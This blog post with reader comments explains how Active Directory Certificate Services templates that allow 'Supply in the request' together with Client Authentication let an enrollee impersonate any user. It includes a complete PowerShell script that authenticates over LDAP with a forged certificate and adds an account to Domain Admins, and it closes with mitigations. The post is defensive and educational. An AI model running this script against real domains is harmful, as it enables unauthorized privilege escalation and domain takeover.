As an Active Directory administrator, chances are you’ve at some point in your career come in contact with Active Directory Certificate Services, which is Microsoft’s implementation of a PKI Certification Authority. If you have an Active Directory domain, also having a Public Key Infrastructure implementation is not necessary, AD works perfectly well without it or certificates for that matter.
But with recent and upcoming updates to default policy settings, the ever increasing risk of data leaks and exposure, and the avalanche of ransomware and other malware we are now constantly fighting off, securing even internal resources with cryptography is looking more and more like a pretty good idea. In fact, if you transmit data in clear text, it is ridiculously easy to intercept it; the only requirement is that you have an IP address on the same subnet as either the source or the target. The method I’m referring to is ARP Poisoning; there are ways to mitigate it, but I’ll just leave it as an exercise to the reader to figure out how.
Contrary to (in my experience) popular belief, the main purpose of PKI and certificates is authentication, not encryption. In fact, the preferred method of encryption today, RSA and AES, works perfectly for encrypting data even without certificates. All you need is a private/public key pair, and the rest is easy. No, the X.509 standard for Digital Certificates was originally developed as a means of verifying the identity associated with a certain public key (I will cover this in a future post). While browsing the internet you’ve probably encountered certificate warnings stating that the hostname you entered in the address bar of the browser doesn’t match the name in the certificate – the point of this warning is not to stop encryption of data, but to ensure that the server you’re connecting to is really the server you wanted. In fact, if you click “Ignore” when such a prompt appears, your connection is still encrypted exactly the same way as it would be if the name in the certificate was correct. The only difference is that you’ve just accepted the risk of the server not being the one you wanted.
Anyway, this post isn’t about the specifics of X.509, but rather on how Windows, Active Directory and Certificate Services interact with each other to provide certificate issuance for an organization.
A common scenario
So let’s assume that you’re Mario, a grumpy Active Directory administrator in the Contoso organization. For a while now, one of your pesky coworkers, the web server admin Luigi, has pestered you about certificates for his web server. Luigi claims that adding a certificate to the internal web server will drastically increase security. Mario has, grumpy as he is, rejected Luigis requests. “It’s just internal servers, who cares?”
So one shiny morning Mario is in the office getting his first coffee of the day. As he turns around, Luigi is staring him in the face. “I need a certificate for my web server.”
In a moment of startlement and weakness, Mario relents. “Fine”, he replies. “I’ll set up a CA and grant you permission to issue web server certificates.” I hate that guy, Mario thinks as Luigi turns around and walks away.
Back at his desk, Mario sets up a new virtual machine, joins it to the domain, and starts installing the CA. After doing a next-next-next-finish install of the CA, with some minor tweaks to the CA name and certificate lifetime, the install is completed; the default options yields an Enterprise Root CA.

With the CA in place, Mario starts the Certification Authority console on the server.

Now, he needs to allow Luigi to enroll for certificates for his web server. Navigating to the Certificate Templates folder, he sees the following:

So even though the templates are published, Mario still needs to grant Luigi permission to enroll certificates for his server. He also figures that he doesn’t need a lot of this crap, so he deletes all published templates.

Satisifed that he has a clean slate to begin with, Mario right-clicks Certificate Templates and selects Manage.

He checks the properties of the Web Server template:

Well, shucks. This is an old template, with very few customization options. Mario figures that now that he has finally relented to install a CA, he might as well use a modern alternative, so he right-clicks the Web Server template and selects Duplicate template.

Wanting to have access to new shiny features, he selects the latest available version of both Certification Authority and Certificate recipient. Then he changes the name of the template to Contoso Web Server.


He also remembers Luigi mumbling something about “don’t forget that I need Client Authentication too” when he walked away from the coffee machine. So he goes to the Extensions tab and adds Client Authentication to Application Policies.

Then, he needs to allow Luigi’s web server to enroll the certificate, so he creates a group named Web Server Certificate Enrollees, adds the computer to the group, and assigns the group the Enroll permission on the template.


Finally, he publishes the template on the CA.

Heaving a sigh of relief that he finally got rid of Luigi’s incessant nagging, he turns back to his mail client to inform him that the job is done. Unfortunately, he has an unread e-mail in his inbox.
“Hey MARIO!
In case you had forgotten, our CEO, Peach, has read an article on IT security and DEMANDS that we enable secure LDAP connections, or our ITIL system will stop working when Microsoft drops that patch next year. Did you get around to fixing that yet? She’s getting impatient.
Regards, Toad
P.S. Are you joining in on the company party at the castle next weekend? I hear there will be cake. D.S.’
Damn. In fact, he HAD forgotten that. It was mentioned, like, 2 months ago? How is he supposed to remember THAT? Muttering a curse, he turns back to the CA console.
Now, being a little tired of being forced to do stuff and slightly distracted at the mention of cake, he figures he just wants to be done with this crap so he can go back to browsing Reddit. So he just re-publishes the Kerberos Authentication template. By default, all domain controllers in the domain has permission to enroll and autoenroll this template.

However, because the domain controllers are his responsibility, he doesn’t want to have to issue or renew those certificates manually, so he also creates a GPO for the domain root, enabling computer autoenrollment.

After running gpupdate and certutil -pulse on his DCs, he can see that certificates have been enrolled:

Finally done with his chores for the day, he replies to Toad telling him it’s done and also notifying Luigi that he should now be able to enroll web server certificates on his server. Now, FINALLY, he can get back to browsing the web for the rest of the day. He contemplates what his life would have been like if he’d just become a plumber instead, like his father wanted…
Requesting a web server certificate
Luigi, having just received Mario’s mail and being somewhat happy that he finally managed to convince him to do something useful for a change, logs on to his web server. He opens certlm.msc, the Certificates console for the local machine. Right-clicking Personal, he selects All Tasks -> Request New Certificate…

Upon reaching the Request Certificates dialog, he can now see that he can enroll the Contoso Web Server template.

Clicking the link under Contoso Web Server brings him to the Certificate Properties dialog, where he can enter the subject name and subject alternative names for the web server. He enters the www.contoso.com
CN and DNS names for the certificate, clicks OK, and then Enroll.


In the Certificate Installation Results dialog, he can now see that the certificate was enrolled successfully:


Happy with the results, Luigi continues his work throughout the day and leaves satisfied.
Abusing the intent
While the above scenario is very common, it has a major flaw. What Mario doesn’t realize is that installing an Enterprise CA automatically publishes the CA certificate in the NTAuthCertificates container. If we look in pkiview.msc (part of the management tools for ADCS), right-click the Enterprise PKI node and select Manage containers, we see the following:

The NTAuthCertificates container represents this object in the Configuration partition:

Any CA certificate that is listed in the cACertificate attribute of this object is trusted for certificate authentication to Active Directory. Looking at the diagram at this page under the Certificate processing logic header tells us that if a certificate is used for Active Directory authentication, contains a user principal name, and has its issuer in the NTAuth container, then it is accepted as valid.

If we look at the paragraph right above this header, we see the following:
By default, the KDC verifies that the client’s certificate contains the smart card client authentication EKU szOID_KP_SMARTCARD_LOGON. However, if enabled, the Allow certificates with no extended key usage certificate attribute Group Policy setting allows the KDC to not require the SC-LOGON EKU. SC-LOGON EKU is not required for account mappings that are based on the public key.
So by default, the KDC is supposed to check for the presence of the Smartcard Logon OID in the Extended Key Usage extension. In reality, however, Client Authentication is enough, and Smartcard Logon is not required.
The major problem here is that the Web Server default template makes use of a setting called Supply in the request for the subject name.

Any template derived from the Web Server template will inherit this setting as well. What it does is allow you to enter any subject name of subject alternative name in the request, and the CA will sign it. There are a bunch of different name types that can be added to the subject alternative name, as can be seen here:

So when Luigi gets access to enroll certificates for a template that allows supply in the request, he can issue certificates for any arbitrary identity. And since Active Directory only requires the issuing CA to be listed in NTAuth along with the Client Authentication EKU, he can now authenticate to Active Directory as any identity. If he wanted to authenticate as Mario, he would simply issue a certificate with the following content:

Now Luigi has access to a certificate with mario@contoso.com as the User Principal Name:

And if he wanted to, he could check the “Make private key exportable” check box when enrolling the certificate, and he’d be able to export the certificate to a smart card for interactive logon:

But let’s assume that Luigi simply wanted to elevate himself to Domain Admins. Using Mario’s account through the newly issued certificate, he could run the following script in an elevated PowerShell prompt on the web server:
Add-Type -AssemblyName System.DirectoryServices.Protocols
Add-Type -AssemblyName System.Security
$Id = New-Object -TypeName System.DirectoryServices.Protocols.LdapDirectoryIdentifier -ArgumentList '', 389, $true, $false
$Ldap = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList $Id, $null, ([System.DirectoryServices.Protocols.AuthType]::External)
$Ldap.AutoBind = $false
"Certificate selection" | Write-Host
$Location = [System.Security.Cryptography.X509Certificates.StoreLocation]::LocalMachine
$Name = [System.Security.Cryptography.X509Certificates.StoreName]::My
$Store = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Store -ArgumentList $Name, $Location
$Store.Open("ReadOnly, MaxAllowed, OpenExistingOnly")
$Cert = [System.Security.Cryptography.X509Certificates.X509Certificate2UI]::SelectFromCollection($Store.Certificates.Find("FindByApplicationPolicy", "1.3.6.1.5.5.7.3.2", $true).Find("FindByKeyUsage", 0xa0, $true).Find("FindByExtension", "2.5.29.35", $true), "Certificate selection", "Select a certificate", "SingleSelection")
$Store.Dispose()
$Ldap.ClientCertificates.Clear()
[void]$Ldap.ClientCertificates.Add($Cert[0])
$Ldap.SessionOptions.QueryClientCertificate = {
param(
[System.DirectoryServices.Protocols.LdapConnection]
$Connection
, [Byte[][]]
$TrustedCAs
)
return $Cert[0]
}
"Starting TLS" | Write-Host
$Ldap.SessionOptions.StartTransportLayerSecurity($null)
$RootDseSearchRequest = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest -ArgumentList '', "(&(objectClass=*))", "Base"
Try
{
$RootDseSearchResponse = $null
$RootDseSearchResponse = $Ldap.SendRequest($RootDseSearchRequest)
}
Catch
{
$Ldap.Dispose()
throw $_
}
"Default naming context: {0}" -f $RootDseSearchResponse.Entries[0].Attributes["defaultNamingContext"].GetValues([String])
"Binding" | Write-Host
Try
{
$Ldap.Bind()
}
Catch
{
throw
}
# Send an Extended WHOAMI request
$ExtReq = New-Object -TypeName System.DirectoryServices.Protocols.ExtendedRequest -ArgumentList "1.3.6.1.4.1.4203.1.11.3"
$ExtRes = [System.DirectoryServices.Protocols.ExtendedResponse] $Ldap.SendRequest($ExtReq)
"Bound as identity: '{0}'" -f [System.Text.Encoding]::UTF8.GetString($ExtRes.ResponseValue)
$UserDN = "CN=Luigi,OU=Server Admins,OU=Accounts,OU=Contoso,DC=contoso,DC=com"
"Adding '{0}' to Domain Admins" -f $UserDN
$Modify = [System.DirectoryServices.Protocols.ModifyRequest]::new("CN=Domain Admins,CN=Users,DC=contoso,DC=com", "Add", "member", $UserDN)
Try
{
$Response = $Ldap.SendRequest($Modify)
}
Catch
{
$Response = $_.Exception.GetBaseException().Response
}
"Result: {0}" -f $Response.ResultCode
$Ldap.Dispose()
Running this code would prompt him to select a certificate:

The result:

What the script does is “exploit” a feature of Active Directory where you can bypass PKINIT and authenticate using an External bind through LDAP, StartTLS and a client certificate, as documented by Microsoft:
If the client establishes the SSL/TLS-protected connection by means of an LDAP_SERVER_START_TLS_OID operation, the authentication state of the connection remains the same after the operation as it was before the operation. The DC authenticates the connection as the credentials represented by the client’s certificate only if an EXTERNAL SASL bind is subsequently performed.
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/8e73932f-70cf-46d6-88b1-8d9f86235e81
So you might ask yourself, why is all of this even possible? All Luigi wanted was to issue certificates for his web server. Well, remember the introduction where I stated that the main purpose of PKI is authentication? All of the mechanics I’ve described are examples and implementations of authentication enabling solutions; smartcard logon has been possible since Windows 2000. The issue here is that most administrators lack adequate understanding of what certificates are for and more importantly what the purpose of PKI is. If you combine Client Authentication with Supply in the request and delegate enrollment, you’ve effectively enabled a shortcut straight into Enterprise Admins territory.
Conclusion and mitigation
While most organizations will accept the risk of a regular admin elevating themselves to Enterprise Admins level as a fair tradeoff for enabling certificate issuance, some organizations can’t take that chance. What you need to realize is that when you are at Enterprise Admins level, you have complete unrestricted access to the entire forest. Not only can you directly or indirectly access any resource, you can retrieve the password hash of the krbtgt account and issue golden tickets throughout the forest. You can delete every entry in the Active Directory database. You can disable every single user or admin account, locking out the entire business. You can grind an entire organization to a complete halt, for months. And trust me, you have no idea how much of an impact that has on a company until it actually happens. It’s very, very bad. Just ask any company that has been the victim of a ransomware attack where all their domain controllers were affected.
Add to all this the fact that Microsoft themselves actively encourage using Supply in the request with Enterprise CA:s for InTune, among other services. In this case, not only do you expose your environment to all of the above, you also expose your CA indirectly to the friggin Internet. If enabling Supply in the request for internal use wasn’t bad enough, imagine allowing Internet services to issue arbitrary certificates in addition to that.
So, what can you do to mitigate this issue? Well, you could set up a dedicated Enterprise CA for such purposes, and then remove the CA certificate manually from NTAuth. Problem is, you can never know when the CA certificate magically reappears in the NTAuth container. It might require CA certificate renewal, or it might be enough to just restart the CA service as an Enterprise Admin; regardless, whatever is true today may be changed tomorrow. You can also enable a setting in the template called “Require CA certificate manager approval”, but then your AD administrators would have to manually approve Supply in the request certificate requests. As of Windows Server 2012 R2, it is possible to perform this approval only once and have the end entity servers automatically renew the certificates using the existing ones, without requiring re-approval and letting the CA simply copy the contents of the old certificate to the new one.
Another method is to simply install a Standalone CA. It doesn’t matter if it is domain joined or not, but you’d probably want it to be if you want to allow users to interact with it. A Standalone CA will never publish itself to NTAuth, so you can be certain that no matter what certificates are issued they can never be used to authenticate to Active Directory. The downside is that you lose access to certificate templates; you must supply every property and extension manually in the request, or have third-party software or scripts that manage the issuance, adding whatever is missing.
My recommendation for any organization looking to issue SSL or other types of certificates where you need to arbitrarily enter subject names with a Microsoft CA is to use the latter option, a dedicated Standalone CA. It will cause increased administrative overhead, but at least you’ll be safe from certificate privilege escalation. Develop scripts or buy a third-party certificate management solution to alleviate management. I recommend the Open Source PSPKI if you want to develop your own scripts for certificate issuance.
As a final note, don’t underestimate the threat of this setting. Most people are oblivious to the consequences of using it, and sooner or later someone will exploit it. And you won’t be happy when that happens.
This was a great article! Thank you very much for a very interesting read.
Question: Is this limited to Client Authentication? If the SSL certificate just had, as originally intended, Server Authentication would this also open up for this predicament?
LikeLiked by 1 person
Client Authentication is the bare minimum for this to work as far as I know, so you’re right in that omitting it from the template would not allow the authentication to take place, although you could still impersonate a Domain Controller for LDAP binds if you manage to MitM the client. The problem is that many third-party vendors and Microsoft themselves actively promote configuring an Enterprise CA and certificate templates containing Client Authentication with Supply in the Request.
Server-side, it might be that the certificate only requires Server Authentication (or no EKU at all) when performing a StartTLS bind over LDAP, but I have not tested that yet 😊 However if you’d use the certificate for Kerberos PKINIT, the Kerberos client requires the server to have the KDC Authentication EKU.
LikeLiked by 2 people
Great article! Quite entertaining and a bit frightening… So what you are saying is you need to have a process to enumerate your Admin groups and compare against a “gold” copy someplace… Dump those who don’t belong at every run of the process… In addition to have a PKI Admin approve requests other than autoenrolled user and computer certs. Luigi’s a bad apple and needs to be added to Guests.
LikeLiked by 1 person
Sadly, if you have an automatic procedure in place for cleaning up administrative groups, then you’re being reactive and the damage is already done – the proper method to combat this is to not allow it in the first place, i.e. be proactive. Autoenrollment with Build from Active Directory information is fine because you’re not allowed to modify the subject, and the CA simply inputs the CN of your directory object. But yes, you should definitely require Certificate manager approval for Supply in the request templates.
Not agreeing on Luigi though. Maybe he should be praised instead for enlightening us? 😉
LikeLiked by 1 person
I’m not sure I see the value in setting up a dedicated standalone CA to accomplish this mitigation. Your point about not using an Enterprise CA was that you could enable CA Manager approval for the certificate issuance which would allow the CA to review and approve the certificate requests before they are issued. Which frankly any time you use this setting you should have a secondary review. But in your recommendation, you indicated you recommend using a standalone CA – but standalone CAs automatically put all requests into the pending queue and require manual review and approval. So why not use an enterprise CA and manually review only the high risk templates (code signing, supply in the request) as the CA Manager approval is a per template feature. Then the CA can also perform autoenrollment for all of the other items – such as Kerberos Authentication without approval/review.
In the end, your recommendation has the deployment of a new CA simply to prevent the CA from being placed in the NTAuth object. If the CA is properly reviewing these supply in request templates, then this step is unnecessary and organizations wont have yet another CA to manage.
LikeLiked by 2 people
Agree with ThePKIGuy. Enterprise CAs are just fine, as long as the staff administering it is trained correctly.
Still, that’s a really nice and well written article. Thanks!
LikeLike